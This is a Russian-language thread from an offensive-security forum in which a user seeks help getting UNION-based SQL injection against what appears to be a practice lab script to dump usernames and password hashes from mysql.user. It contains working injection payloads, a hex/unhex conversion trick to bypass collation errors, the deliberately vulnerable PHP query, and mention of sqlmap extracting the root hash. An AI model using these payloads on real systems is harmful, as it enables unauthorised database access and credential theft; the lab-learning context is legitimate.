• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

ответ MariaDB или как ругается моя база данных

addedie

Well-known member
04.08.2019
157
0
BIT
1
Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_bin,IMPLICIT) for operation 'UNION'
как сие чудо истолковать? вот запрос ?id=-1' union select 1,User,Password from mysql.user where 1=1 -- '
вот так тоже самое ?id=-1' union select 1,`User`,`Password` from mysql.user where 1=1 -- '
я так понимаю какаято траблас кодировкой , куда копать?

из другой таблицы вынимает данные нормально кстати

на другом скрипте это срабатывает , данные мускула вылазят нормально, но вот тут такая фигня
движок пентеста sql-injection
вот стандартный запрос из скрипта $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; помогите раскрутить скулю

неужели никто не знает?
попробовал вот так
?id=-1' union select 1 COLLATE latin1_general_ci,`User` COLLATE latin1_general_ci,`Password` COLLATE latin1_general_ci from mysql.user -- '
ответ COLLATION 'latin1_general_ci' is not valid for CHARACTER SET 'utf8'
и вот так ?id=-1' union select 1 COLLATE utf8_general_ci,`User` COLLATE utf8_general_ci,`Password` COLLATE utf8_general_ci from mysql.user -- '
COLLATION 'utf8_general_ci' is not valid for CHARACTER SET 'latin1'
пробовал gbk_chinese_ci но тоже безуспешно
нашел вот такой ответ но ничего непонимаю
всё перепробовал нифига неидет
 
там разные "сравнения" (collations) для полей заданы
попробуй заюзать hex от столбца например
если не прокатит, попробуй чтото типа SELECT unhex(convert(hex(text) USING utf8)) FROM ...
 
ура победа спасибо огромное, выглядит это так:
(`User`)+USING+utf8)),unhex(convert(hex(`Password`)+USING+utf8))+FROM+mysql.user+--+
 
Последнее редактирование:
для тех кто будет париться с 5ым заданием данного скрипта сразу скажу тут жопа
PHP:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

    if($row)
    {
      echo '<font size="5" color="#FFFF00">';  
      echo 'You are in...........';
      echo "<br>";
        echo "</font>";
      }
    else
    {
   
    echo '<font size="3" color="#FFFF00">';
    print_r(mysqli_error($con));
    echo "</br></font>";  
    echo '<font color= "#0000ff" font size= 3>';  
   
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
и вобщем только тру или фалс спасет, иначе говоря слепая скуля

кстати sqlmap справился на ура, хеш от рута быстро достал интересно сколько сайтов уязвимых на такой баг, нехочу пробовать но думаю много
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!